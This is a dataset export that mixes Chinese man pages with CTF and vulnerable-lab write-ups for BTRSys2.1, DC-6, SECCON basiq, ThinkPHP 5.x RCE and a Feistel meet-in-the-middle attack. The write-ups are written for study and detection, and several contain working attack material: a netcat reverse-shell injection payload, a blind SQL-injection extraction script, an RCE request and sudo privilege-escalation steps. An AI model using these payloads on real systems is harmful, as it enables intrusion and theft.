text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
.TH ComboBox 3tk "tcllib - BWidget"
.SH NAME
.B ComboBox - ComboBox 组件
.SH 创建 CREATION
.B ComboBox pathName ?option value...?
.SH 描述 DESCRIPTION
ComboBox 组件使用户能在用 values 选项给出的一个列表中选择一个值。通过按 ArrowButton,或在 ComboBox 的 editable 的值是 false 的时候在录入栏中点击,弹出可能值的列表。
如果 ComboBox 的 editable 的值是 true 并且录入栏获得了聚焦,用户可以按上下箭头键来修改它的值。如果当前值精确的匹配在列表中的一个值,则显示列表中的前一个(向上箭头键)或下一个(向下箭头键)值。如果当前值匹配在列表中的一个值的开始,则显示这个值。如果当前值不匹配任何东西,则显示第一个值。
.SH 组件特有选项 WIDGET-SPECIFIC OPTIONS
.TP
-height
为个这个窗口指定想要的高度,以行为单位(in lines)。如果它小于等于零,则这个窗口要求的高度只是足够大得装下在列表框中所有的元素。
.TP
-modifycmd
指定在用户通过在列表框中选择一个值或按上下箭头键来修改 ComboBox 框的值的时候调用的一个 Tcl 命令。
.TP
-postcommand
指定在映射 ComboBox 的列表框之前调用的一个 Tcl 命令。
.TP
-values
指定在 ComboBox 的列表框中显示的值。
.SH 组件命令
.TP
pathName bind ?arg...?
在录入组件上设置绑定。
.TP
pathName cget option
返回用 option 给出的配置选项的当前值。Option 可以是能被建立命令接受的任何值。
.TP
pathName configure ?option? ?value option value ...?
查询或修改这个组件的配置选项。如果未指定 option ,则返回描述 pathName 的所有可获得的选项的一个列表。如果指定了不带 value 的 option,则这个命令返回描述这个指名的 option 的一个列表(这个列表与未指定 option 所返回的值的相应的子集是一样的)。如果指定了一个或多个选项-值 对,则这个命令把给定的组件选项修改为给定的值;在这种情况下这个命令返回一个空串。Option 可以是能被建立命令接受的任何值。只读选项不可修改。
.TP
pathName getvalue
返回 ComboBox 的当前文本在值的列表中的索引,如果它不匹配任何值则返回 -1。
.TP
pathName setvalue index
把 ComboBox t的文本设置成用在值的列表中的索引指示的值。index 可以被指定为任何下列形式:
last
指定值的列表的最后一个元素。
first
指定值的列表的第一个元素。
next
指定值的列表的当前元素(就是 getvalue 返回的那个)的下一个元素。
previous
指定值的列表的当前元素(就是 getvalue 返回的那个)的上一个元素。
@number
指定在值的列表的整数索引。
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/06/04
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# BTRSys2.1
> https://download.vulnhub.com/btrsys/BTRSys2.1.rar
靶场IP:`192.168.32.234`
扫描对外端口服务
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -p 1-65535 -sV 192.168.32.234
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-12 21:55 EDT
Nmap scan report for 192.168.32.234
Host is up (0.00085s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 00:0C:29:C6:A1:A5 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.03 seconds
```
FTP可以匿名访问,但是没有发现任何内容
```
┌──(root💀kali)-[~/Desktop]
└─# ftp 192.168.32.234
Connected to 192.168.32.234.
220 (vsFTPd 3.0.3)
Name (192.168.32.234:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 118 4096 Mar 20 2017 .
drwxr-xr-x 2 0 118 4096 Mar 20 2017 ..
226 Directory send OK.
```
访问80端口


爆破目录
```
┌──(root💀kali)-[~/Desktop]
└─# dirb http://192.168.32.234/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Sep 12 22:12:27 2022
URL_BASE: http://192.168.32.234/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.32.234/ ----
+ http://192.168.32.234/index.html (CODE:200|SIZE:81)
==> DIRECTORY: http://192.168.32.234/javascript/
+ http://192.168.32.234/LICENSE (CODE:200|SIZE:1672)
+ http://192.168.32.234/robots.txt (CODE:200|SIZE:1451)
+ http://192.168.32.234/server-status (CODE:403|SIZE:302)
==> DIRECTORY: http://192.168.32.234/upload/
==> DIRECTORY: http://192.168.32.234/wordpress/
---- Entering directory: http://192.168.32.234/javascript/ ----
==> DIRECTORY: http://192.168.32.234/javascript/jquery/
---- Entering directory: http://192.168.32.234/upload/ ----
==> DIRECTORY: http://192.168.32.234/upload/account/
==> DIRECTORY: http://192.168.32.234/upload/admins/
==> DIRECTORY: http://192.168.32.234/upload/framework/
==> DIRECTORY: http://192.168.32.234/upload/include/
+ http://192.168.32.234/upload/index.php (CODE:500|SIZE:67)
==> DIRECTORY: http://192.168.32.234/upload/languages/
==> DIRECTORY: http://192.168.32.234/upload/media/
==> DIRECTORY: http://192.168.32.234/upload/modules/
==> DIRECTORY: http://192.168.32.234/upload/page/
==> DIRECTORY: http://192.168.32.234/upload/search/
==> DIRECTORY: http://192.168.32.234/upload/temp/
==> DIRECTORY: http://192.168.32.234/upload/templates/
```
爆破用户密码
```
┌──(root💀kali)-[/tmp]
└─# wpscan --url http://192.168.32.234/wordpress/ --enumerate u -P password
[!] Valid Combinations Found:
| Username: admin, Password: admin
```
登录wordpress

添加反弹shell,保存文件。

访问:`192.168.32.234/wordpress/?p=100000000`,触发404页面。

查看`wp-config.php`配置文件
```
cat wp-config.php
<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, WordPress Language, and ABSPATH. You can find more information
* by visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
* wp-config.php} Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
* installation. You don't have to use the web site, you can just copy this file
* to "wp-config.php" and fill in the values.
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'rootpassword!');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
```
```
mysql> select * from wp_users;
select * from wp_users;
+----+------------+----------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+----------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
| 1 | root | a318e4507e5a74604aafb45e4741edd3 | btrisk | mdemir@btrisk.com | | 2017-04-24 17:37:04 | | 0 | btrisk |
| 2 | admin | 21232f297a57a5a743894a0e4a801fc3 | admin | ikaya@btrisk.com | | 2017-04-24 17:37:04 | | 4 | admin |
+----+------------+----------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+--------------+
2 rows in set (0.00 sec)
```
破解hash:`roottoor`

su切换到root用户

|
sec-knowleage
|
# The nospecial virus (Misc 100)
> I have been infected with a virus like CryptoLocker and now they ask for money to give me the password to this archive so I can get the password required to decrypt all my files. Please help!
> Format Response: DCTF{md5(solution)}
> https://dctf.def.camp/quals-2016/decrypt_files.rar
This task had an encrypted RAR archive with a single 7-byte file stored in it. Similar tasks happened in the past, for
instance: [here](https://github.com/p4-team/ctf/tree/master/2016-06-04-backdoor-ctf/crypto_crc) or
[there](https://github.com/p4-team/ctf/blob/820f3215e3c45f18e3073d55c7c3e745d37fb878/2016-08-21-bioterra-ctf/zip/README.md).
We simply modified code used in these tasks, and it turned out one of the contents found using `a-z0-9` alphabet was
the correct one.
|
sec-knowleage
|
chfn
===
用来改变finger命令显示的信息
## 补充说明
**chfn命令** 用来改变finger命令显示的信息。这些信息都存放在/etc目录里的passwd文件里。若不指定任何选项,则chfn命令会进入问答式界面。
### 语法
```shell
chfn(选项)(参数)
```
### 选项
```shell
-f<真实姓名>或--full-name<真实姓名>:设置真实姓名;
-h<家中电话>或--home-phone<家中电话>:设置家中的电话号码;
-o<办公地址>或--office<办公地址>:设置办公室的地址;
-p<办公电话>或--office-phone<办公电话>:设置办公室的电话号码;
-u或--help:在线帮助;
-v或-version:显示版本信息。
```
### 参数
用户名:指定要改变finger信息的用户名。
### 实例
范例1,改变finger信息:
```shell
[root@localhost Desktop]# chfn
Changing finger information for root.
Name [root]: jack
Office []: hn
Office Phone []: 888888
Home Phone []: 9999999
Finger information changed.
```
范例2,改变账号真实姓名:
```shell
[root@localhost Desktop]# chfn -f jack
Changing finger information for root.
Finger information changed.
```
范例3:
```shell
shell>> chfn
Changing finger information for user
Password: [del]
Name[]:linuxde ### 提供 finger 时的资料
Office[]:NCCU
Office Phone[]: [del]
Home Phone[]: [del]
```
|
sec-knowleage
|
# basiq (web, 100, 31 solves)
> What is admin's password?☺

http://basiq.pwn.seccon.jp/admin turned out to be vulnerable to a basic auth sql injection
A simple sqli:
```
user:admin
pass:'or '1'='1
```
works
We'll use the `mid` function to iterate the admins password and brute each letter separately.
``` python
import requests
import string
url = "http://basiq.pwn.seccon.jp/admin/"
password = "SECCON"
alphabet = "_{}" + string.lowercase + string.uppercase
for q in range(len(password)+1, 30):
found = False
for i in alphabet:
r = requests.get(url=url, auth=('admin', "zaaaqwewqz' or (id = 'admin' and mid(binary pass, 1, {}) = '{}') #".format(q, password+i)))
if(r.status_code == 200):
password += i
print(password)
found = True
break
if(not found):
print("Dead end :c")
break
```
A quick explaination:
The `id` column has to be set to `admin` otherwise we'd get other players' passwords (shout-out to `SECCON{A_Sql_Injection_is_easy}`)
`binary pass` makes sure, that the compare is case sensitive.
After a few minutes of work, we got our flag: `SECCON{Carnival}`
|
sec-knowleage
|
# T1190-CNVD-2018-24942-thinkphp5.x任意代码执行漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
ThinkPHP 5.0.全版本,经过其他安全人员实际测试,并非针对5.0全版本
实际影响范围:
```yml
版本名 是否可被攻击 攻击条件
5.0.0 否 无
5.0.1 否 无
5.0.2 否 无
5.0.3 否 无
5.0.4 否 无
5.0.5 否 无
5.0.6 否 无
5.0.7 否 无
5.0.8 是 无需开启debug
5.0.9 是 无需开启debug
5.0.10 是 无需开启debug
5.0.11 是 无需开启debug
5.0.12 是 无需开启debug
5.0.13 是 需开启debug
5.0.14 是 需开启debug
5.0.15 是 需开启debug
5.0.16 是 需开启debug
5.0.17 是 需开启debug
5.0.18 是 需开启debug
5.0.19 是 需开启debug
5.0.20 否 无
5.0.21 是 需开启debug
5.0.22 是 需开启debug
5.0.23 是 需开启debug
```
## 检测日志
HTTP
## 测试复现
更多POC请参考:<https://blog.csdn.net/weixin_40709439/article/details/86564457>
```yml
GET /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id HTTP/1.1
Host: 172.17.41.103:33349
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Host: 172.17.41.103:33349
Date: Mon, 10 Aug 2020 16:44:19 +0800
Connection: close
X-Powered-By: PHP/7.2.12
Content-type: text/html; charset=UTF-8
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```
## 检测规则/思路
### Suricata规则
```s
alert http any any -> any any (msg:"CNVD-2018-24942-thinkphp5.x任意代码执行漏洞";flow:established,to_server;content:"GET";http_method;content:"/index.php/?s=index/";pcre:"/call_user_func_array/";http_uri;reference:url,blog.csdn.net/weixin_40709439/article/details/86564457;classtype:web-application-attck;sid:3002021;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
thinkphp5.0和5.1 rce poc总结
<https://blog.csdn.net/weixin_40709439/article/details/86564457>
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "DROP LANGUAGE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
DROP LANGUAGE \- 删除一个过程语言
.SH SYNOPSIS
.sp
.nf
DROP [ PROCEDURAL ] LANGUAGE \fIname\fR [ CASCADE | RESTRICT ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBDROP LANGUAGE\fR 将删除曾注册过的过程语言 name。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
现存语言的名称。出于向下兼容的考虑,这个名字可以用单引号包围。
.TP
\fBCASCADE\fR
自动删除依赖于改语言的对象(比如该语言写的函数)。
.TP
\fBRESTRICT\fR
如果存在依赖对象,则拒绝删除。这个是缺省。
.SH "EXAMPLES 例子"
.PP
下面命令删除 plsample 语言:
.sp
.nf
DROP LANGUAGE plsample;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
在 SQL 标准里没有 DROP PROCEDURAL LANGUAGE。
.SH "SEE ALSO 参见"
ALTER LANGUAGE [\fBalter_language\fR(7)], CREATE LANGUAGE [\fBcreate_language\fR(l)], \fBdroplang\fR(1)
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# DC: 6
下载地址:https://download.vulnhub.com/dc/DC-5.zip
## 实战演练
靶场IP地址:`192.168.32.165`

扫描对外开放端口
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -p1-65535 192.168.32.165
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-12 23:27 EDT
Nmap scan report for 192.168.32.165
Host is up (0.00089s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:59:92:D3 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.89 seconds
```
访问80端口会跳转到wordy域名,需要配置本地hosts
```
192.168.32.165 wordy
```

发现web框架是wordpress

使用wpscan寻找用户
```
wpscan --url http://wordy -eu
[i] User(s) Identified:
[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://wordy/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] sarah
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] graham
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] mark
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] jens
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
```
盒子 DCAU 的作者在[网站](https://www.vulnhub.com/entry/dc-6,315/)上给出了线索。让我们用它来生成密码文件。
```
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
```
```
┌──(root💀kali)-[~/Desktop]
└─# wfuzz -c --hc=200 -z file,user.txt -z file,passwords.txt -d 'log=FUZZ&pwd=FUZ2Z&wp-submit=Log+In' http://wordy/wp-login.php
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://wordy/wp-login.php
Total requests: 13340
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000009879: 302 0 L 0 W 0 Ch "mark - helpdesk01"
```
太好了,我们得到了用户的密码`mark`。
```
username : mark passworc : helpdesk01
```
使用此密码访问 wordpress。

开发wordpress插件,我们可以看到一个插件`Activity monitor`。

这个插件有一个可利用的漏洞,你可以[在这里查看](https://www.exploit-db.com/exploits/45274)。该插件容易受到操作系统命令注入的影响。
我们必须修改我们的 POST 请求以使其工作。
```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ip" value="google.fr| nc 192.168.32.130 9999 -e /bin/bash" />
<input type="hidden" name="lookup" value="Lookup" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
使用 .html 扩展名保存上述文件,并通过浏览器通过设置 python http 服务器导航到 html 文件。

设置监听器并通过单击按钮我们得到外壳。

在用户标记的主目录中,我发现`things-to-do.txt`. 该文件包含用户的密码`graham`。
```
cat things-to-do.txt
Things to do:
- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement
```

端口 22 对 ssh 开放,在这里我尝试使用凭据与 ssh 连接。然后查看 sudoers 列表,发现 graham`/home/jens/backups.sh`不用密码也可以作为 jens 运行。
```
graham@dc-6:~$ sudo -l
Matching Defaults entries for graham on dc-6:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User graham may run the following commands on dc-6:
(jens) NOPASSWD: /home/jens/backups.sh
```
查看`backups.sh`文件内容和脚本权限
```
graham@dc-6:~$ cat /home/jens/backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html
graham@dc-6:~$ ls -al /home/jens/backups.sh
-rwxrwxr-x 1 jens devs 50 Apr 26 2019 /home/jens/backups.sh
```
在脚本添加bash
```
echo '/bin/bash' >> /home/jens/backups.sh
```
现在我们以牛仔裤的身份成功登录
```
graham@dc-6:~$ sudo -u jens /home/jens/backups.sh
tar: Removing leading `/' from member names
tar (child): backups.tar.gz: Cannot open: Permission denied
tar (child): Error is not recoverable: exiting now
tar: backups.tar.gz: Wrote only 4096 of 10240 bytes
tar: Child returned status 2
tar: Error is not recoverable: exiting now
```
我再次检查了 sudoers 列表,发现 jens 可以在`/usr/bin/nmap`没有密码的情况下以 root 身份运行。
```
jens@dc-6:/home/graham$ sudo -l
Matching Defaults entries for jens on dc-6:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jens may run the following commands on dc-6:
(root) NOPASSWD: /usr/bin/nmap
```
```
jens@dc-6:/home/graham$ TF=$(mktemp)
jens@dc-6:/home/graham$ echo 'os.execute("/bin/sh")' > $TF
jens@dc-6:/home/graham$ sudo /usr/bin/nmap --script=$TF
Starting Nmap 7.40 ( https://nmap.org ) at 2022-07-13 14:35 AEST
NSE: Warning: Loading '/tmp/tmp.WtGHsHUiPn' -- the recommended file extension is '.nse'.
# uid=0(root) gid=0(root) groups=0(root)
#
```
flag

|
sec-knowleage
|
.\"Generated by db2man.xsl. Don't modify this, modify the source.
.de Sh \" Subsection
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Ip \" List item
.br
.ie \\n(.$>=3 .ne \\$3
.el .ne 3
.IP "\\$1" \\$2
..
.TH "SMBSPOOL" 8 "" "" ""
.SH NAME
smbspool \- 将一个打印文件发送到一台SMB打印机
.SH "总览 SYNOPSIS"
\fBsmbspool\fR {job} {user} {title} {copies} {options} [filename]
.SH "描述 DESCRIPTION"
.PP
此程序是\fBSamba\fR(7)套件的一部分。
.PP
smbspool 是个非常小的打印假脱机程序用于向SMB共享打印机发送打印文件的作业。命令行参数的位置是位置无关的,这样做是为了和CUPS(Common UNIX Printing System)兼容,但是你可以在任何打印系统中,在程序或者脚本中使用它。
.PP
\fBDEVICE URI\fR
.PP
smbspool 使用“smb”方法的统一资源标识符(“URI”,Uniform Resource Identifier)来指定操作目标。这种描述有以下这样的形式:
.TP 3
\(bu
smb://server/printer
.TP
\(bu
smb://workgroup/server/printer
.TP
\(bu
smb://username:password@server/printer
.TP
\(bu
smb://username:password@workgroup/server/printer
.LP
.PP
smbspool 会试图从argv[0]参数中得到URI。如果argv[0]包含了程序名的话,它将到\fB DEVICE_URI\fR环境变量中取得URI。
.PP
程序中可以使用\fBexec(2)\fR函数来将URI传递给argv[0],shell脚本则必须在运行smbspool之前设置\fBDEVICE_URI\fR环境变量。
.SH "选项 OPTIONS"
.TP 3
\(bu
job参数(argv[1])包含了作业ID号,smbspool当前还没有用到。
.TP
\(bu
user参数(argv[2])包含了打印用户名,smbspool当前还没有用到。
.TP
\(bu
title参数(argv[3])包含了在发送打印作业时作为远程文件名传递的打印作业标题字串。
.TP
\(bu
opies参数(argv[4])包含了需要打印文件的份数。如果没有提供文件名,smbspool就不使用这个参数。
.TP
\(bu
options参数(argv[5])包含了打印选项(以一个字串来描述),smbspool当前还没有用到。
.TP
\(bu
filename参数(argv[6])包含了要打印的文件名。如果不指定文件名则从标准输入中读取信息作为打印的内容。
.LP
.SH "版本 VERSION"
.PP
此手册页是针对samba套件版本3.0的。
.SH "参见 SEE ALSO"
.PP
\fBsmbd\fR(8) 和\fBSamba\fR(7).
.SH "作者 AUTHOR"
.PP
samba软件和相关工具最初由Andrew Tridgell创建。samba现在由Samba Team 作为开源软件来发展,类似linux内核的开发方式。
.PP
最初的samba手册页是 Karl Auer写的。
手册页源码已经转换为YODL格式(另一种很好的开源软件,可以在ftp://ftp.ice.rug.nl/pub/unix找到),由Jeremy Sllison 更新到Samba2.0 版本。
Gerald Carter 在Samba2.2中将它转化为DocBook 格式。
Alexander Bokovoy 在Samba 3.0中实现了DocBook XML4.2 格式的转换。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2000/12/08
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Alice in Cryptoland
Category: Cryptography
## Description
> Alice Block Cipher (a.k.a ABC) is based on a Feistel cipher design.
>
> This is a balanced Feistel network, using the following characteristics:
> * Block-size = 8 bytes
> * Key size = any
> * Rounds = 4 (numbered from 1 to 4)
>
> * The Feistel function is defined as (pseudo code):
> ```
> string = concatenation of (key, round_number, R) // the round_number as a char: "1", "2", "3", or "4"
> hash = md5(string)
> return (4 first bytes of the hash)
> ```
> * After the last round, L and R are swapped
>
> We'll assume that each block is encrypted independently of the others, with the same key, and that the length of the messages is
divisible by the block size (i.e. there is no "partial block").
>
> For example:
> * plaintext: "test_CTF"
> * key: "CryptoIsFun"
> * The first time the Feistel Function is called, the string hashed by MD5 is: "CryptoIsFun1_CTF"
> * ciphertext (encoded in hex): 213d2e66bcf21fb4
>
> Alice wants to make her ABC cipher better. So she doubled it (and called it ABCD); instead of using it once with one key, she
encrypts the plaintext with a first key, and encrypts the output another time with a second key. The output of the second
encryption is the ciphertext she sends to Bob. She used ABCD to encrypt the attached message, and you know that both keys
are found in the "rockyou.txt" dictionary file. Of course, Alice opens her message with a polite "Dear Bob".
>
> Crack it.
## Solution
In this challenge we have a custom [Feistel cipher](https://en.wikipedia.org/wiki/Feistel_cipher) called "`ABC`":
> In cryptography, a Feistel cipher (also known as Luby–Rackoff block cipher) is a symmetric structure used in the construction of block ciphers.
An additional cipher called "`ABCD`" is defined using `ABC`: It simply re-encrypts the output of `ABC` again and returns the result as the ciphertext.
Let's start by implementing both ciphers according to the definition:
```python
import abc
import typing
import hashlib
BLOCK_SIZE = 8
def hex_str(byte_array):
return "".join("{:02x}".format(c) for c in byte_array)
class FeistelException(Exception):
pass
class Feistel(object):
__metaclass__ = abc.ABCMeta
def __init__(self, block_size, num_rounds):
self.block_size = block_size
self.num_rounds = num_rounds
@abc.abstractmethod
def func(self, key, round_num, R):
raise NotImplementedError("Please Implement this method")
@classmethod
def xor_all(cls, a, b):
for i in range(len(a)):
a[i] ^= b[i]
def block_generator(self, full_input):
for offset in range(0, len(full_input), self.block_size):
yield full_input[offset:offset+self.block_size]
def Encrypt(self, plaintext, key):
assert(isinstance(plaintext, typing.ByteString))
res = self.perform_action(plaintext,
key,
range(self.num_rounds))
return res
def Decrypt(self, ciphertext, key):
assert(isinstance(ciphertext, typing.ByteString))
try:
res = self.perform_action(ciphertext,
key,
range(self.num_rounds - 1, -1, -1))
return res
except TypeError:
raise FeistelException("Error during decryption")
def perform_action(self, input_arr, key, direction_iter):
assert(len(input_arr) % self.block_size == 0)
res = bytearray()
key_arr = key
for block_num, block in enumerate(self.block_generator(input_arr)):
middle = len(block) // 2
old_L = block[:middle]
old_R = block[middle:]
assert(len(old_L) == len(old_R))
for i in direction_iter:
L = old_R
R = self.func(key_arr, i, old_R)
self.xor_all(R, old_L)
old_L = L
old_R = R
res += R + L
return bytes(res)
class AliceBlockCipher(Feistel):
def __init__(self):
super(AliceBlockCipher, self).__init__(block_size = BLOCK_SIZE, num_rounds = 4)
def func(self, key, round_num, R):
string = key + str(round_num+1).encode("ascii") + R
hsh = bytearray(hashlib.md5(string).digest())
return hsh[:4]
class AliceBlockCipherDouble(object):
def __init__(self):
self.abc = AliceBlockCipher()
def Encrypt(self, plaintext, key1, key2):
ciphertext1 = self.abc.Encrypt(plaintext, key1)
ciphertext2 = self.abc.Encrypt(ciphertext1, key2)
return ciphertext2
def Decrypt(self, ciphertext, key1, key2):
plaintext1 = self.abc.Decrypt(ciphertext, key2)
plaintext2 = self.abc.Decrypt(plaintext1, key1)
return plaintext2
def test(c, keys, plaintext, expected_hash):
print ("Starting Test")
print ("-=-=-=-=-=-=-")
print ("Encrypting '{}' with '{}'".format(plaintext, keys))
ciphertext = c.Encrypt(plaintext, *keys)
print (hex_str(ciphertext))
assert(hex_str(ciphertext) == expected_hash)
print ("*--*")
print ("Decrypting '{}' with '{}'".format(hex_str(ciphertext), keys))
decrypted_plaintext = c.Decrypt(ciphertext, *keys)
print (decrypted_plaintext)
assert(decrypted_plaintext == plaintext)
print ("End of test\n\n")
def run_tests():
c = AliceBlockCipher()
d = AliceBlockCipherDouble()
test(c, [b"CryptoIsFun"], b"test_CTF", "213d2e66bcf21fb4")
test(c, [b"CryptoIsFun"], b"test_ABC", "0cc69bbfe9ccd791")
test(c, [b"CryptoIsFun"], b"test_ABC12345678", "0cc69bbfe9ccd791bea946370225ceaf")
test(d, [b"Testing123", b"Testing456"], b"test_ABC", "92a5db564cf83543")
test(d, [b"Testing123", b"Testing456"], b"test_ABC12345678", "92a5db564cf83543fbcaf14dc0b70b1e")
dec = c.Decrypt(bytearray.fromhex("b1bdad45992c6fe8a7c65a3086c9148f"
+ "2c3a0dc929719e2b8f6dcfc12aae5a03"
+ "eefd7cb9365e95c07dc9049206f8fed4"),
b"SimpleKey")
assert(dec == b"This is fun so far, but it will get better soon.")
if __name__ == "__main__":
run_tests()
```
Now, the problem with the encryption scheme defined for `ABCD` is that it isn't much better than the encryption scheme defined for `ABC`: Both of them require more or less the same magnitude of time to brute-force, if the attacker uses a method called [Meet-in-the-middle](https://en.wikipedia.org/wiki/Meet-in-the-middle_attack):
> When trying to improve the security of a block cipher, a tempting idea is to encrypt the data several times using multiple keys. One might think this doubles or even n-tuples the security of the multiple-encryption scheme, depending on the number of times the data is encrypted, because an exhaustive search on all possible combination of keys (simple brute-force) would take 2n·k attempts if the data is encrypted with k-bit keys n times.
>
> The MITM is a generic attack which weakens the security benefits of using multiple encryptions by storing intermediate values from the encryptions or decryptions and using those to improve the time required to brute force the decryption keys. This makes a Meet-in-the-Middle attack (MITM) a generic space–time tradeoff cryptographic attack.
>
> The MITM attack attempts to find the keys by using both the range (ciphertext) and domain (plaintext) of the composition of several functions (or block ciphers) such that the forward mapping through the first functions is the same as the backward mapping (inverse image) through the last functions, quite literally meeting in the middle of the composed function.
So, given that `ABCD` is defined as the follows (where `P` is the plaintext, `C` is the cipertext, and `K1`, `K2` are keys):
```
C = ABCD.Encrypt(K1, K2, P) = ABC.Encrypt(K2, ABC.Encrypt(K1, P))
P = ABCD.Decrypt(K1, K2, P) = ABC.Decrypt(K1, ABC.Decrypt(K2, C))
```
We can apply decryption to both sides of the equation and get:
```
ABC.Decrypt(K2, C) = ABC.Decrypt(K2, ABC.Encrypt(K2, ABC.Encrypt(K1, P))) = ABC.Encrypt(K1, P)
```
